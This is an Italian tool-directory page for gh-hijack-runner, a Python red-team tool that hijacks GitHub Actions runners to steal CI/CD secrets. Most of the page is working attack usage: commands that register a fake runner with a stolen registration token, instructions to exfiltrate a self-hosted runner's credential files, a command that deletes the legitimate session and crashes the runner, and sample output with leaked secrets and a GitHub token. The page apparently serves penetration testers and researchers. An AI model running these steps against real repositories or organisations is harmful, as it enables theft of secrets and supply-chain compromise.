Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
gh-hijack-runner — Uno script Python per creare un runner GitHub fittizio e dirottare i job delle pipeline per divulgare i segreti CI/CD. | Kitploit
Strumenti/GitHubGitHub/synacktiv/gh-hijack-runner
ExploitEsfiltrazione DatiPenetration TestingSicurezza CloudSicurezza della Supply ChainRed Teaming
GitHubsynacktiv/gh-hijack-runner

gh-hijack-runner

Uno script Python per creare un runner GitHub fittizio e dirottare i job delle pipeline per divulgare i segreti CI/CD.

Vedi Repository
33531 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

gh-hijack-runner

Uno script Python per creare un runner GitHub finto e dirottare i job della pipeline per rubare i segreti CI/CD.

Maggiori dettagli nel seguente articolo: https://www.synacktiv.com/publications/hijacking-github-runners-to-compromise-the-organization

Sfruttamento

Se riesci a ottenere un token di registrazione o a ottenere l'esecuzione remota di codice su un runner GitHub self-hosted, puoi creare o rilevare un runner GitHub. Questo ti consentirà di accedere a tutti i segreti passati a quel runner.

Usando un token di registrazione, puoi registrare un runner con etichetta ubuntu-latest, ottenendo così l'accesso ai job originariamente destinati ai runner forniti da GitHub. Questo consente di compromettere qualsiasi workflow che utilizzi questo metodo.

root@kitploit:~
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest
[+] Session ID: b66b76a8-e7db-4a14-a2ea-207b1c8cb94d
[+] AES key: BTIk+FT2hRb[...]HN1kkg==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY21GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC

Installazione

root@kitploit:~
$ pip install -r requirements.txt 

Utilizzo

Da un token di registrazione

Se riesci a ottenere un token di registrazione per registrare un runner self-hosted per un repository o un'organizzazione, puoi registrare il finto runner GitHub con questo comando:

root@kitploit:~
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest

Può essere un token di registrazione per un'organizzazione o un repository.

Dalle credenziali di un runner GitHub esistente

Con l'esecuzione arbitraria di codice su un runner self-hosted, devi esfiltrare tre file per assumere l'identità del runner compromesso:

root@kitploit:~
root@9f8f6f1fdfa6:/actions-runner# pwd
/actions-runner
root@9f8f6f1fdfa6:/actions-runner# ll
-rw-r--r-- 1 root   root     266 Apr 21 12:27 .credentials
-rw------- 1 root   root    1667 Apr 21 12:27 .credentials_rsaparams
-rw-r--r-- 1 root   root     325 Apr 21 12:27 .runner
[...]

Per recuperare i job, il runner stabilirà una sessione con GitHub. Ogni runner può mantenere una sola sessione. Per creare una nuova sessione, devi eliminare la sessione corrente stabilita dal runner legittimo. L'ID della sessione può essere trovato qui:

root@kitploit:~
root@9f8f6f1fdfa6:/actions-runner# cat _diag/* | grep -i session
[...]
[2024-04-21 18:03:46Z INFO MessageListener] Message '5' received from session 'aab007e0-eedd-4c1b-96b4-a7c2c128c31a'.

/!\ Eliminare la sessione corrente manderà in crash il runner legittimo /!\

Quindi, puoi eliminare la sessione corrente:

root@kitploit:~
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json --delete-session-id aab007e0-eedd-4c1b-96b4-a7c2c128c31a
[+] Session aab007e0-eedd-4c1b-96b4-a7c2c128c31a deleted.

Infine puoi dirottare questo runner:

root@kitploit:~
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json                                                         
[+] Session ID: 3c88c6f7-5764-4121-b9bf-2536ee2539b7
[+] AES key: eLN3rhf3D[...]UHewLw==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY23GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC

Nota: per i runner self-hosted effimeri questo non funzionerà.

Aiuto

root@kitploit:~
$ gh-hijack-runner.py --help
Hijack GitHub runners                

Usage:
    gh-hijack-runner.py [options] --registration-token <token> --url <url> [--labels <labels> --ephemeral --rsa-params <rsa> --credentials <credentials> --runner <runner>]
    gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> [(--session-id <session> --aes-key <key>)]
    gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> --delete-session-id <session>
    

Options:
    -h --help                               Show this screen.
    --version                               Show version.
    -v, --verbose                           Verbose mode
    --output <folder>                       Save data to output file
    --runer-name <name>                     Runner name
    --runner-group <name>                   Runner group name
    --last-Message-id <id>                  Last message ID

Args:
    --registration-token <token>            Token used to register a runner
    --url <url>                             Full repository or org URL
    --rsa-params <rsa>                      Path to .credentials_rsaparams file
    --credentials <credentials>             Path to .credentials file
    --runner <runner>                       Path to .runner file
    --session-id <session>                  Already running session id
    --aes-key <key>                         Base64 encoded AES key associated with a session id
    --labels <labels>                       Labels used for registration (ubuntu-latest,customrunner)
    --ephemeral                             Create ephemeral runner
    --delete-session-id <session>           Delete session. Warning: It will crash the related GitHub runner
    

Examples:
    $ gh-hijack-runner.py --registration-token AOTAA3TOI7SACAVKBDWEQN3F5IEO2 --url https://github.com/org/repo
    $ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json

Author: @hugow

Crediti

  • @karimpwnz per la parte crypto
  • @0xn3va per la parte eliminazione sessione
  • @frichette_n per l'idea originale su GitLab
Scarica lo strumento